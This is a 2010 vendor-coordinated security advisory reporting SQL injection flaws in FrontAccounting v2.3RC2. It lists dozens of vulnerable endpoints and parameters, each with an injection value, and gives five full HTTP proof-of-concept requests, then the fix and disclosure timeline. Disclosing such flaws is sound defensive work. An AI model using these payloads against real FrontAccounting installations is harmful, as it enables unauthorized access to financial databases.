Advisory Name: Multiple SQL Injections in Front Accounting
Internal Cybsec Advisory Id: 2010-1003-Multiple SQL Injections in Front Accounting
Vulnerability Class: SQL Injection
Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.
Affected Platforms: Any running Front Accounting v2.3RC2
Local / Remote: Remote
Severity: High - CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
Researcher: Juan Manuel Garcia
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
Multiple vulnerabilities has been discovered in Front Accounting, which can be exploited by attackers
to conduct SQL injection attacks.
At least the following parameters are not properly sanitized:
http://xxx.xxx.xxx.xxx/admin/fiscalyears.php
The attacker can set parameter 'from_date's value to '01%2F01%2F2008%27%3B'
http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'trans_no's value to '31%20having%201=1--'
http://xxx.xxx.xxx.xxx/dimensions/view/view_dimension.php
The attacker can set parameter 'trans_no's value to '3';'
http://xxx.xxx.xxx.xxx/gl/bank_account_reconcile.php
The attacker can set parameter 'reconcile_date's value to '1234%27%3B'
http://xxx.xxx.xxx.xxx/gl/inquiry/balance_sheet.php
The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
http://xxx.xxx.xxx.xxx/gl/inquiry/bank_inquiry.php
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_account_inquiry.php
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_trial_balance.php
http://xxx.xxx.xxx.xxx/gl/inquiry/profit_loss.php
http://xxx.xxx.xxx.xxx/gl/inquiry/tax_inquiry.php
The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
The attacker can set parameter 'TransToDate's value to '1234%27%3B'
http://xxx.xxx.xxx.xxx/gl/inquiry/journal_inquiry.php
The attacker can set parameter 'FromDate's value to '1234%27%3B'
The attacker can set parameter 'Memo's value to '1234%27%3B'
The attacker can set parameter 'Ref's value to '1234%27%3B'
The attacker can set parameter 'ToDate's value to '1234%27%3B'
http://xxx.xxx.xxx.xxx/inventory/inquiry/stock_movements.php
The attacker can set parameter 'AfterDate's value to '1234%27%3B'
The attacker can set parameter 'BeforeDate's value to '1234%27%3B'
http://xxx.xxx.xxx.xxx/manufacturing/work_order_add_finished.php
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'selected_id's value to '181+having+1%3D1--'
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
http://xxx.xxx.xxx.xxx/manufacturing/work_order_issue.php
The attacker can set parameter 'IssueType's value to '1%29+having+1%3D1--'
The attacker can set parameter 'Location's value to 'SH%27%3B'
The attacker can set parameter 'WorkCentre's value to '1%27%3B'
The attacker can set parameter '_focus's value to '_stock_id_edit%27%3B'
The attacker can set parameter '_stock_id_edit's value to '%27%3B'
The attacker can set parameter '_stock_id_update's value to '+%27%3B'
The attacker can set parameter 'date_'s value to '1234%27%3B'
The attacker can set parameter 'memo_'s value to '1234%27%3B'
The attacker can set parameter 'qty's value to '1234%27%3B'
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'std_cost's value to '1234%27+having+1%3D1--'
The attacker can set parameter 'stock_id's value to 'Business1%27%3B'
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php
The attacker can set parameter 'PONumber's value to '351%20having%201=1--'
http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php
The attacker can set parameter 'invoice_no's value to '21';'
The attacker can set parameter 'receive_begin's value to '1234%27%3B'
The attacker can set parameter 'receive_end's value to '1234%27+having+1%3D1--'
http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php
The attacker can set parameter 'PARAM_1's value to '361%20having%201=1--'
http://xxx.xxx.xxx.xxx/sales/customer_credit_invoice.php
The attacker can set parameter 'InvoiceNumber's value to '106';'
Other parameters might also be affected.
Some Proof of Concepts:
* http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php?trans_no=
PoC:
GET /dimensions/dimension_entry.php?trans_no=31%20having%201=1-- HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=cbe43b3ad36c2622030f8b1093144916
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/dimensions/inquiry/search_dimensions.php
* http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=
PoC:
GET /purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=11%20having%201=1--
HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocation_main.php
* http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php?PONumber=
PoC:
GET /purchasing/po_receive_items.php?PONumber=351%20having%201=1-- HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/po_search.php
* http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php?New=1&invoice_no=
PoC:
GET /purchasing/supplier_credit.php?New=1&invoice_no=21'; HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/supplier_inquiry.php
* http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php?PARAM_0=36&PARAM_1=3
PoC:
GET /reporting/prn_redirect.php?PARAM_0=36&PARAM_1=361%20having%201=1--
&PARAM_2=&PARAM_3=0&PARAM_4=&REP_ID=111 HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=a3101d91a3ae6ede3e0ab57f90c03b79
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/sales/inquiry/sales_orders_view.php?type=32
Impact:
An attacker can execute arbitrary SQL queries that would allow him to gain unauthorized access to the
database, application or server.
Solution:
Upgrade to FrontAccounting v2.3RC3
Vendor Response:
2010-10-12 - Vulnerability was identified
2010-10-13 - Vendor contacted
10/16/2010 Vendor confirmed vulnerability
10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3
10/29/2010 Vulnerability was released
Contact Information:
For more information regarding the vulnerability feel free to contact the researcher at
jmgarcia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2010 - CYBSEC S.A. Security Systems